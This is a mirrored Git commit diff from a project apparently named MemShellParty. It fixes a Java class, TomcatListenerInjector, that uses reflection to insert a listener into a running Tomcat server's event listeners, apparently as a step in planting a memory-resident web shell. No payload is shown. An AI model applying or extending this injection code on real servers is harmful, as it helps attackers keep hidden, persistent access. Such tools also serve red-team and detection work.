mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 16:31:53 +08:00
fix: tomcat6 and 7 listener not work
This commit is contained in:
+5
-4
@@ -113,9 +113,10 @@ public class TomcatListenerInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void addListener(Object context, Object listener) throws Exception {
|
public void addListener(Object context, Object listener) throws Exception {
|
||||||
if (!isInjected(context, listener.getClass().getName())) {
|
if (!isInjected(context, listener.getClass().getName())) {
|
||||||
if (getFV(context, "applicationEventListenersObjects") != null) {
|
Object applicationEventListenersObjects = getFV(context, "applicationEventListenersObjects");
|
||||||
Object[] appListeners = (Object[]) getFV(context, "applicationEventListenersObjects");
|
if (applicationEventListenersObjects != null) {
|
||||||
if(appListeners != null && appListeners.length > 0) {
|
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||||
|
if (appListeners != null) {
|
||||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||||
appListenerList.add(listener);
|
appListenerList.add(listener);
|
||||||
setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray());
|
setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray());
|
||||||
@@ -194,7 +195,7 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
final Field field = getF(obj.getClass(), fieldName);
|
Field field = getF(obj, fieldName);
|
||||||
field.set(obj, value);
|
field.set(obj, value);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user